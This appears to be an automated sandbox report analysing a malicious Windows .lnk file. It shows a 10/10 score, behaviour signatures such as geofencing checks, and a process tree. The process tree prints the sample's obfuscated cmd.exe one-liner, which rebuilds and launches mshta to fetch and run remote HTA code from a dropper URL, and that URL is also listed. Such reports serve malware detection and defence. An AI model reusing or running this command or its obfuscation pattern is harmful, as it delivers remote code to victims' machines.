Analysis
- max time kernel
149s - max time network
152s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
03/08/2026, 13:11
General
- Target DOC-2L9W4P.lnk
- Size 2KB
- Sample260803-qfepyszza1
- SHA256 27044a45d718cc27d35e9c1bea1a970a46d102e0bc6e307c79b6be357113b276
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://bo-pdffiller.lat/h/estagio1.php?r=360761F15794
Signatures
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Suspicious use of WriteProcessMemory 2 IoCs
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-2L9W4P.lnk1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
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C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /d/v:on/c"set Kl=infjriyazcwjdezxmiwtetrinf&&set zvwo=oldosquhtwpuoyptggtrrhtsmold&&set jV=cfgljnazqysvnjruocfg&&set xu=2mmshcu&&set NaU=gsutah&&set BlLnC=tmpvxgvljrtmp&&set ZGcq=logptxvvpwlog&&set cXXyk=bakpwfqrhvqcaebak&&set QSZ=cfggeffjpaznbjcfg&&set wtm=logybrobzlog&&set VAWHT=sysdgxejpfxwmsys&&set IYI=bakiffetbvszlqptcabak&&set BIsr=oldzweyxyajpbtkold&&set JMyl=costje6&&set cUmd=par31&&set JC=czt0ga&&set hvrYp=lognlsnqaurykzdhvlsxttlog&&set jNtUo=https:@//@b@o-@pdffil@l@[email protected]@/h/esta@g@i@o1.@php@?@r@=@36@0761F1@57@94&&start /b !xu:~2,3!!NaU:~3,2! !jNtUo:@=!"2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\mshta.exemshta https://bo-pdffiller.lat/h/estagio1.php?r=360761F157943⤵
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